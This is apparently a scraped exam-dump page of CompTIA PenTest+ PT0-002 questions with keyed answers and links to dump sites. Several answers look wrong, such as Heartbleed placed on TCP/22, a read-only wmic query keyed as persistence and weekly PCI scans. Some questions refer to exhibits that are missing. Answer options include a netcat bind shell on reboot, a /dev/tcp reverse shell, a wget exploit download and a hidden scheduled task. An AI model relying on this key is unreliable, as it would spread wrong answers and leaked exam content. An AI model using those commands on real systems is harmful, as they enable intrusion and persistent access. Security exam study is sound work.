Pass CompTIA PenTest+ PT0-002 exam [Dec 13, 2021] Updated 112 Questions
CompTIA PT0-002 Actual Questions and 100% Cover Real Exam Questions
NEW QUESTION 67
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
- A. Single quote
- B. Semicolon
- C. Comma
- D. Double dash
Answer: A
NEW QUESTION 68
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?
- A. tcpdump
- B. dig
- C. Socat
- D. Scapy
Answer: C
NEW QUESTION 69
A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:
Which of the following would be a recommendation for remediation?
- A. Implement a patch management plan
- B. Utilize the secure software development life cycle
- C. Deploy a user training program
- D. Configure access controls on each of the servers
Answer: A
NEW QUESTION 70
You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION 71
The results of an Nmap scan are as follows:
Which of the following would be the BEST conclusion about this device?
- A. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.
- B. This device is most likely a gateway with in-band management services.
- C. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- D. This device is most likely a proxy server forwarding requests over TCP/443.
Answer: C
NEW QUESTION 72
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
- A. NDA
- B. ROE
- C. SLA
- D. MSA
Answer: A
NEW QUESTION 73
In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- A. Create a custom password dictionary as preparation for password spray testing.
- B. Document the unprotected file repository as a finding in the penetration-testing report.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Recommend using a password manage/vault instead of text files to store passwords securely.
Answer: B
NEW QUESTION 74
Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?
- A. Whether the country where the cloud service is based has any impeding laws
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the cloud service provider allows the penetration tester to test the environment
Answer: C
Explanation:
Section: (none)
Explanation
NEW QUESTION 75
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Check for an open relay configuration.
- B. Test for RFC-defined protocol conformance.
- C. Attempt to brute force authentication to the service.
- D. Perform a reverse DNS query and match to the service banner.
Answer: D
NEW QUESTION 76
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?
- A. As backup in case the original documents are lost
- B. To validate the billing information with the client
- C. As proof in case they are discovered
- D. To guide them through the building entrances
Answer: C
NEW QUESTION 77
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
* The following request was intercepted going to the network device:
GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
* Network management interfaces are available on the production network.
* An Nmap scan returned the following:
Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)
- A. Create an out-of-band network for management.
- B. Disable HTTP/301 redirect configuration.
- C. Enforce enhanced password complexity requirements.
- D. Implement a better method for authentication.
- E. Disable or upgrade SSH daemon.
- F. Eliminate network management and control interfaces.
Answer: B,D
NEW QUESTION 78
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?
- A. The planning process failed to ensure all teams were notified
- B. The penetration tester had incorrect contact information
- C. The penetration tester was testing the wrong assets
- D. The client was not ready for the assessment to start
Answer: A
NEW QUESTION 79
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
- A. Clarify the statement of work.
- B. Identify all third parties involved.
- C. Interview all stakeholders.
- D. Obtain an asset inventory from the client.
Answer: A
NEW QUESTION 80
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
- A. Collect the proper evidence and add to the final report
- B. Reach out to the primary point of contact
- C. Call law enforcement officials immediately
- D. Try to take down the attackers
Answer: B
NEW QUESTION 81
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
- A. sudo useradd -ou 0 -g 0 user
- B. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
- C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
- D. wmic startup get caption,command
Answer: D
NEW QUESTION 82
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2
Answer: A
NEW QUESTION 83
A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?
- A. Create a detailed document of findings before continuing with the assessment.
- B. Halt the assessment and follow the reporting procedures as outlined in the contract.
- C. Perform forensic analysis to isolate the means of compromise and determine attribution.
- D. Incorporate the newly identified method of compromise into the red team's approach.
Answer: A
NEW QUESTION 84
A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?
- A. Tailgating
- B. Baiting
- C. Phishing
- D. Shoulder surfing
Answer: B
NEW QUESTION 85
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. powershell -exec bypass -f \\10.10.51.50\9891
- B. nc 10.10.51.50 9891 < exploit
- C. wget 10.10.51.50:9891/exploit
- D. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
Answer: C
NEW QUESTION 86
A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?
- A. Monthly
- B. Annually
- C. Weekly
- D. Quarterly
Answer: C
NEW QUESTION 87
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
- A. Nikto
- B. OpenVAS
- C. Nessus
- D. SQLmap
Answer: D
NEW QUESTION 88
......
CompTIA PT0-002 Real 2021 Braindumps Mock Exam Dumps: https://www.lead2passexam.com/CompTIA/valid-PT0-002-exam-dumps.html
PT0-002 Free Exam Questions & Answers PDF Updated on Dec-2021: https://drive.google.com/open?id=1ftGeRmD_MikD_9oGry4-dsWLGUxx4TiS